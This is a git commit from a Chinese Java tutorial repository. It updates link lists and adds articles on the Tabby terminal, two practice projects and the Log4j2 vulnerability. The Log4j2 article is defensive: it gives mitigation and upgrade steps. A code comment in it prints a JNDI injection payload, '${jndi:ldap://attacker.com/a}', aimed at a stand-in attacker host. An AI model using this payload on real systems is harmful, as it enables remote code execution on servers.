提交 29a67072 编写于 作者: 沉默王二's avatar 沉默王二 💬

内容更新

上级 86a895ff
...@@ -158,11 +158,31 @@ ...@@ -158,11 +158,31 @@
- [要熟练使用 Git,恐怕要记住这60个命令](docs/git/mingling.md) - [要熟练使用 Git,恐怕要记住这60个命令](docs/git/mingling.md)
- [崩溃!实习生把小组的代码仓库搞得一团糟。。。](docs/git/jibenshiyong.md) - [崩溃!实习生把小组的代码仓库搞得一团糟。。。](docs/git/jibenshiyong.md)
- [信不信,7 张图就能让你把 Git 分支管理拿捏的死死的。。](docs/git/fenzhi.md) - [信不信,7 张图就能让你把 Git 分支管理拿捏的死死的。。](docs/git/fenzhi.md)
- [一分钟快速搭建 Spring Boot 项目](docs/springboot/initializr.md) - [豆瓣9.1分!我昨天在挂急诊时啃完了这本书!](docs/git/progit.md)
### **SpringBoot** ### **SpringBoot**
- [豆瓣9.1分!我昨天在挂急诊时啃完了这本书!](docs/git/progit.md) - [一分钟快速搭建 Spring Boot 项目](docs/springboot/initializr.md)
- [基于SpringBoot 的CMS系统,拿去开发企业官网真香](https://mp.weixin.qq.com/s/HWTVu7E62VkaH2anQc1J_g)
### **事故处理**
- [我鮳!Log4j2突发重大漏洞,我们也中招了。。](docs/shigu/log4j2.md)
- [重现了一波 Log4j2 核弹级漏洞,同事的电脑沦为炮灰](https://mp.weixin.qq.com/s/zXzJVxRxMUnoyJs6_NojMQ)
- [面试官问:生成订单30分钟未支付,则自动取消,该怎么实现?](https://mp.weixin.qq.com/s/J6jb_Dt3C49CIjYBTrN4gQ)
### **真香工具**
- [干掉 Xshell?这款开源的终端工具Tabby逼格更高!](docs/shigu/log4j2-jndi.md)
- [再见Postman!一款更适合国人的接口管理工具ApiPost!](https://mp.weixin.qq.com/s/ZgkNQsve_vq6Xq0_gnWHCw)
- [EasyPoi实现Excel导入导出,好用到爆,POI可以扔掉了!](https://mp.weixin.qq.com/s/H2Bwc-7ghcjyaEnKUTQ5Dg)
- [再见了VMware,一款更轻量级的虚拟机Multipass!](https://mp.weixin.qq.com/s/gy6dVHvNy495bqov6JOAdA)
### **开源项目**
- [2 个 Java 练手项目(云E办、仿网易云音乐)](docs/kaiyuan/yuneban-wangyiyunyinyue.md)
## Java 进阶 ## Java 进阶
......
...@@ -116,6 +116,28 @@ ...@@ -116,6 +116,28 @@
- [Git 分支管理](docs/git/fenzhi.md) - [Git 分支管理](docs/git/fenzhi.md)
- [Pro Git](docs/git/progit.md) - [Pro Git](docs/git/progit.md)
**SpringBoot**
- [一分钟快速搭建 Spring Boot 项目](docs/springboot/initializr.md)
- [基于SpringBoot的CMS系统,拿去开发企业官网真香](https://mp.weixin.qq.com/s/HWTVu7E62VkaH2anQc1J_g)
**事故处理**
- [Log4j2突发重大漏洞](docs/shigu/log4j2.md)
- [重现了一波 Log4j2 核弹级漏洞](https://mp.weixin.qq.com/s/zXzJVxRxMUnoyJs6_NojMQ)
- [生成订单30分钟未支付,则自动取消,该怎么实现?](https://mp.weixin.qq.com/s/J6jb_Dt3C49CIjYBTrN4gQ)
**真香工具**
- [开源的终端工具Tabby](docs/shigu/log4j2-jndi.md)
- [一款更适合国人的接口管理工具ApiPost!](https://mp.weixin.qq.com/s/ZgkNQsve_vq6Xq0_gnWHCw)
- [EasyPoi实现Excel导入导出](https://mp.weixin.qq.com/s/H2Bwc-7ghcjyaEnKUTQ5Dg)
- [一款更轻量级的虚拟机Multipass!](https://mp.weixin.qq.com/s/gy6dVHvNy495bqov6JOAdA)
**开源项目**
- [云E办、仿网易云音乐](docs/kaiyuan/yuneban-wangyiyunyinyue.md)
**Java 并发编程** **Java 并发编程**
- [室友打一把王者就学会了多线程](docs/thread/wangzhe-thread.md) - [室友打一把王者就学会了多线程](docs/thread/wangzhe-thread.md)
......
大家好,我是二哥呀!
作为一名 Java 后端开发,日常工作中免不了要和 Linux 服务器打交道,因为生产环境基本上都是部署在 Linux 环境下的。以前呢,我会选择 Xshell 来作为终端进行远程操作。
随着付费版本的出现,尤其是 Xshell 把 FTP 分离出去后,上传下载文件的话还需要单独装一下 Xftp,这显然没有之前集成在一起方便😖。
还有一点让我费解的是,Xshell 竟然一直没有推出 macOS 版。
不过,滴水之恩当涌泉相报,我还是要说,Xshell 真的是非常的 Nice,从实习到现在,Windows 环境下,我基本上一直在用,差不多有快 10 年的时间了,感情还是在的。
相信很多小伙伴也在问,有没有一款,**集成了 FTP 功能,并且跨平台的终端工具呢?如果能免费开源的话,就更好了**
答案是有的,它就是 **Tabby**
![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/gongju/tabby-01.png)
GitHub 上已经有 21.4k 的 star 了,这说明 Tabby 非常的受欢迎:
>https://github.com/eugeny/tabby
*Tabby:二哥,我谢谢你呀,能再吹两句吗?*
Tabby 是一个高度可定制化的 跨平台的终端工具,支持 Windows、macOS 和 Linux,自带 SFTP 功能,能与 Linux 服务器轻松传输文件,支持多种主题,界面炫酷,插件丰富。
### 一、安装 Tabby
直接到官网 `tabby.sh` 点击「download」按钮就可以跳转到下载页面,最新的 release 版本是 1.0.164。
![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/gongju/tabby-02.png)
Linux 和 Windows 的比较好选,macOS 分为两个版本,一个是 arm64,一个是 x86-64,什么意思呢?
这里简单普及下哈。
>ARM是英国ARM公司提供一种CPU架构的知识产权,目前主流的手机和平板电脑都采用ARM架构,但 ARM 不生产芯片,只是从各种嵌入式设备、智能手机、平板电脑、智能穿戴和物联网设备体内的上亿颗处理器中“抽成”。
Apple M1 是苹果公司的第一款基于ARM架构的自研处理器单片系统。
> X86_X64 源于英特尔几十年前出品的CPU型号8086,包括后续型号8088/80286/80386/80486/80586等等,8086以及8088被当时的IBM采用,制造出了名噪一时的IBM PC机,从此个人电脑风靡一时。
详情可参阅下面这篇:
>https://www.cnblogs.com/zhaoqingqing/p/13145115.html
从这一点上可以证明,Tabby 的更新是非常勤快的,连 macOS 的最新芯片 M1 都支持了,厉害了呀,我的虎斑猫(Tabby)!
按照提示,一步步安装就 OK 了。完成后打开,这界面还是非常炫酷的。
![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/gongju/tabby-03.png)
## 二、SSH 连接
SSH,也就是 Secure Shell(安全外壳协议),是一种加密的网络传输协议,可在不安全的网络中为网络服务提供安全的传输环境,通过在网络中创建安全隧道来实现 SSH 客户端和服务器端之间的连接。
之前说要带大家玩转 Linux 服务器,我们先安装了[宝塔面板](https://mp.weixin.qq.com/s/ditN9J80rSWwnYRumwb4ww)这个神器。宝塔里面有自带的终端,但说实话,体验一般。
那不妨我们就使用 Tabby 来与服务器建立一个 SSH 连接吧。
点击「setting」→「profiles & connections」→「new profile」。
![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/gongju/tabby-04.png)
填写服务器的 IP 地址和密码,然后点击「save」。
![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/gongju/tabby-05.png)
之后点击「运行」按钮,就可以进入到终端页面了。
![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/gongju/tabby-06.png)
好了,现在可以对服务器进行操作了,执行下 top 命令可以查看服务器上正在运行的进程信息。
![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/gongju/tabby-07.png)
### 三、SFTP 传输文件
Tabby 集成了 SFTP,所以上传下载文件就变得非常的简单。只需要点击一下「SFTP」图标就可以打开文件传输窗口。
![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/gongju/tabby-08.png)
上传的时候支持拖拽,完成后会弹出文件传输成功的提示消息。
![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/gongju/tabby-09.png)
下载的时候点击要下载的文件,然后会弹出存储对话框,选择对应的文件夹,以及修改对应的文件名点击「存储」就可以了。
![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/gongju/tabby-10.png)
### 四、配置 Tabby
「Settings」 的面板下有一个「Appearance」的菜单,可以对 Tabby 的外观进行设置,比如说调整字体,比如说自定义样式。
![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/gongju/tabby-11.png)
「Appearance」的菜单可以对 Tabby 的配色方案进行修改,里面的主题非常多,不过我感觉默认的就挺不错,毕竟是官方推荐的。
![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/gongju/tabby-12.png)
 「Plugins」 菜单中还有不少插件可供扩展。
![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/gongju/tabby-13.png)
* [clickable-links](https://github.com/Eugeny/tabby-clickable-links) - 使终端中的路径和 URL 可点击
* [docker](https://github.com/Eugeny/tabby-docker) - 连接到 Docker 容器
* [title-control](https://github.com/kbjr/terminus-title-control) - 允许通过提供要删除的前缀、后缀和/或字符串来修改终端选项卡的标题
* [quick-cmds](https://github.com/Domain/terminus-quick-cmds) - 快速向一个或所有终端选项卡发送命令
* [save-output](https://github.com/Eugeny/tabby-save-output) - 将终端输出记录到文件中
这里重点说一下「sync config」 这个插件,可以将配置同步到Github或者Gitee的插件。点击「Get」就可以安装,之后会提示你重启生效。
![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/gongju/tabby-14.png)
生效后点击「Sync Config」菜单,就可以看到配置项了,类型可以选择 GitHub、Gitee、GitLab。
![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/gongju/tabby-15.png)
这里以 Gitee 为例,进入个人 Gitee 主页,左侧菜单中选择「私人令牌」,然后点击「生成新令牌」。
![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/gongju/tabby-16.png)
提交后会生成 token,复制到 Tabby 的 Token 输入框中,然后点击「Upload config」,就可以看到配置信息同步成功了。
![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/gongju/tabby-17.png)
 「Window」 菜单中可以对当前窗口进行设置,比如说改变窗口的主题为 Paper,改变 tab 的位置到底部等等。
![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/gongju/tabby-18.png)
### 五、总结
SSH 连接和 SFTP 传输恐怕是我们操作 Linux 服务器最常用的两个功能了,那 Tabby 对这两个功能的支持非常的友好,足够的轻量级。关键它是跨平台的,Windows、macOS 都可以用,再把配置信息同步到云上后,多平台下切换起来简直不要太舒服。
Windows 用户习惯用 Xshell,macOS 用户习惯用 iTerm2,但这两款工具都没办法跨平台,多平台操作的用户就可以选择 Tabby 来体验一下,真心不错。
Tabby 的学习资料还比较少,所以希望二哥的这篇文章能给有需要的小伙伴提供一点点的帮助和启发。
大家好,我是二哥呀!
前段时间,有个读者私信我说,**刚学完 Spring Boot,想找点练手项目,准备找实习了。**
![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/kaiyuan/yuneban-wangyiyunyinyue-01.png)
二哥这么贴心,对于读者的请求,一向是有求必应,有问必答。那自然得花心思去淘 2 个像样的 Java 练手项目出来了,关键是还要基础,不能太难😆。
我之前有给大家推荐过 GitHub 上的 vhr、mall 和 miaosha,那这次想换个思路,到 B 站上淘一淘如何呢?
果真,还真让二哥找到了!小破站,YYDS!
### 一、云 E 办
这是一个带大家从 0 搭建一个 Spring Boot+ Vue 的前后端分离的 Java 项目,前 P71 讲前端,P72 到 P131 讲后端。
![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/kaiyuan/yuneban-wangyiyunyinyue-02.png)
前端涉及到的技术有 Vue 全家桶、ElementUI;后端涉及到的技术有 Spring Boot、SpringMVC、MyBatisPlus、SpringSecurity、Swagger、Redis、EasyPOI、RabbitMQ、FasfDFS 等等。
视频整体上是不错的,up 的声音也很清晰,听起来很舒服。
为了验证 up 是不是一家培训机构,顺带替大家踩踩坑。我按照要求加了小助理的微信:
![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/kaiyuan/yuneban-wangyiyunyinyue-03.png)
加好友时一看头像,和平常偷偷摸摸混进群的广告党差不多,哈哈哈。
通过好友后,再去一查「乐字节」这个关键字,果然是一家培训机构,不过视频既然公开了出来,并且质量也说得过去,那果断学习一波也是很舒服的。
有时候,培训机构公开出来的视频课可能要好过付费小几万的付费视频课,毕竟拿出来的东西不能太水,否则会砸了自己招牌。
况且,二哥深入虎穴这一波也替大家踩过坑了,源码和课件都拿到了,直接在公众号后台回复关键字「**B站**」就可以拉取到了,不用再去加小助理微信了,大家可以放心食用。
怎么样,二哥这波安全拦截做得漂亮吧?
### 二、仿网易云音乐的小网站
这是读者提供的一个前后端分离项目,问我项目怎么样,我点开去一看,这不一个号主朋友的嘛。
![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/kaiyuan/yuneban-wangyiyunyinyue-04.png)
网站的客户端和管理端使用 VUE 框架来实现的,服务端使用 Spring Boot + MyBatis 来实现,数据库使用了 MySQL。建议至少 1.5 倍速食用。
![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/kaiyuan/yuneban-wangyiyunyinyue-05.png)
前后端整体的项目结构也挺清晰的,这是后端的。
```
├── avatorImages // 用户头像
├── img
│ ├── singerPic // 歌手图片
│ ├── songListPic // 歌单图片
│ └── songPic // 歌曲图片
├── song // 存放歌曲
├── src
│ ├── main
│ │ ├── java
│ │ │ └── com.example.demo
│ │ │ ├── config // 配置(跨域)
│ │ │ ├── controller // 控制层,接收请求返回响应
│ │ │ ├── dao // 数据操作层
│ │ │ ├── domain // 实体类
│ │ │ ├── service
│ │ │ │ └── impl // Service 层的接口
│ │ │ └── HwMusicApplicationTests.java // 项目入口
│ │ └── resources
│ │ ├── mapper // mapper.xml文件,操作数据库
│ │ ├── static // 存放静态资源
│ │ ├── templates
│ │ ├── application.properties // 连接数据库
│ │ └── generatorConfig.xml // MyBatis Generator 自动生成代码
│ └── test
│ └── java
│ └── com.example.demo // 测试用的
├── pom.xml // 添加相关依赖和插件
└── target
```
整体的思路很简单,前端要访问数据的时候,后端就提供相应接口,通过 Controller 层监听请求, 数据的处理交给 Service 层,而 Service 层再通过 Mapper 层操作数据库,操作完成后数据再一层层往上走,最后返回给前端。
up 也非常的良心,源码都开源到 GitHub 上了。
>https://github.com/Yin-Hongwei/music-website
随便再展示两张项目的效果图吧。
![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/kaiyuan/yuneban-wangyiyunyinyue-06.png)
![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/kaiyuan/yuneban-wangyiyunyinyue-07.png)
项目的基本功能也很完善:
- 音乐播放
- 用户登录注册
- 用户信息编辑、头像修改
- 歌曲、歌单搜索
- 歌单打分
- 歌单、歌曲评论
- 歌单列表、歌手列表分页显示
- 歌词同步显示
- 音乐收藏、下载、拖动控制、音量控制
- 后台对用户、歌曲、歌手、歌单信息的管理
作为练手项目,绝壁是合适的。
---------
跟着视频做练手项目的最大好处就是,可以实时地看到 up 主手敲代码的过程,顺带还可以体验一把产品经理的快乐,给 up 主提需求,哈哈。
这里分享一下二哥在观看视频中最大的快乐:review 代码,哈哈哈,尤其是看到 up 敲错代码出现 bug 时,我内心是极其快乐(痛苦)的,因为这让我想起刚实习时被 leader 劈头盖脸批评时的窘境。。
大学阶段做的练手项目没必要做太高大上的,也没必要追求三高:高并发、高可用、高性能,就简简单单的,把所学到的知识运用进去,能达到检验学习成果的目的就 OK 了。
长话短说吧。
相信大家已经被 Log4j2 的重大漏洞刷屏了,估计有不少小伙伴此时此刻已经累趴下了。很不幸,我的小老弟小二的 Spring Boot 项目中恰好用的就是 Log4j2,版本特喵的还是 2.14.1,在这次漏洞波及的版本范围之内。
第一时间从网上得知这个漏洞的消息后,小二吓尿了。赶紧跑过来问老王怎么解决。
老王先是给小二提供了一些临时性的建议,比如说:
```
JVM 参数添加 -Dlog4j2.formatMsgNoLookups=true
log4j2.formatMsgNoLookups=True
FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为true
```
并且老王也在时刻的关注着 Log4j2 的官网和 Spring Boot GitHub 仓库的最新消息。
Java 后端开发的小伙伴应该都知道,Log4j、SLF4J、Logback 这 3 个日志组件是一个爹——Ceki Gulcu,但 Log4j 2 却是例外,它是 Apache 基金会的产品。
所以这波超级高危漏洞的锅必须得由 Apache 来背。并且波及范围非常广,已知受影响的应用程序和组件有:
- Spring-boot-strater-log4j2
- Apache Solr
- Apache Flink
- Apache Druid
并且只要是在 Log4j 2.x <= 2.14.1 之间的版本,都将受到影响——注定被载入史册的一波 bug 啊。
目前,Log4j2 的官网已经发布了 Log4j2 2.15.0 正式版,来解决此次漏洞。
![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/shigu/log4j2-01.png)
那随着 Log4j2 2.15.0 正式版的发布,Spring Boot 的 GitHub 仓库提的这些关于 Log4j2 的 issue 都已经处于关闭状态了。
![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/shigu/log4j2-02.png)
看到这些消息后,老王紧张的情绪一下子就缓解了下来,就像吃了一颗定心丸,赶紧去通知小二不用再提心吊胆了,直接一行代码搞定。
```
<properties>
<log4j2.version>2.15.0</log4j2.version>
</properties>
```
详情可参照 Spring Boot 官方这篇博客:
>https://spring.io/blog/2021/12/10/log4j2-vulnerability-and-spring-boot
Gradle 构建的项目也有解决方案。
![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/shigu/log4j2-03.png)
问题是解决了,不过老王没闲着。他从 Log4j2 官网公布的最新消息中琢磨出,本次远程代码执行漏洞正是由于组件存在 Java JNDI 注入漏洞:**当程序将用户输入的数据记录到日志时,攻击者通过构造特殊请求,来触发 Apache Log4j2 中的远程代码执行漏洞,从而利用此漏洞在目标服务器上执行任意代码**
那肯定会有小伙伴在好奇 JNDI 是什么东东?来看一下维基百科的解释。
>Java命名和目录接口(Java Naming and Directory Interface,缩写JNDI),是Java的一个目录服务应用程序接口(API),它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。
利用下面这段代码,攻击者可以通过JNDI来执行LDAP协议来注入一些非法的可执行代码。
```java
public class VulnerableLog4jExampleHandler implements HttpHandler {
static Logger log = Logger.getLogger(log4jExample.class.getName());
/**
* A simple HTTP endpoint that reads the request's User Agent and logs it back.
*
* This is basically pseudo-code to explain the vulnerability, and not a full example.
*
* @param he HTTP Request Object
*/
public void handle(HttpExchange he) throws IOException {
String userAgent = he.getRequestHeader("user-agent");
// This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.
// The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}
log.info("Request User Agent:" + userAgent);
String response = "<h1>Hello There, " + userAgent + "!</h1>";
he.sendResponseHeaders(200, response.length());
OutputStream os = he.getResponseBody();
os.write(response.getBytes());
os.close();
}
}
```
具体的攻击手段可以参考这里:
>https://github.com/apache/pulsar/issues/13232
下图是程序猿阿朗画的简单的攻击链路步骤图。
![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/shigu/log4j2-04.png)
感兴趣的小伙伴可以在本地复现一下,但**千万不要不当利用**哦!
![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/shigu/log4j2-05.png)
再次提醒大家一下,排查自己的项目是否引入了 Apache log4j-core Jar 包。
![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/shigu/log4j2-06.png)
如果存在依赖引入,且在受影响版本范围内,请升级到 Apache Log4j2 2.15.0 版本,目前已经 release。
Markdown is supported
0% .
You are about to add 0 people to the discussion. Proceed with caution.
先完成此消息的编辑!
想要评论请 注册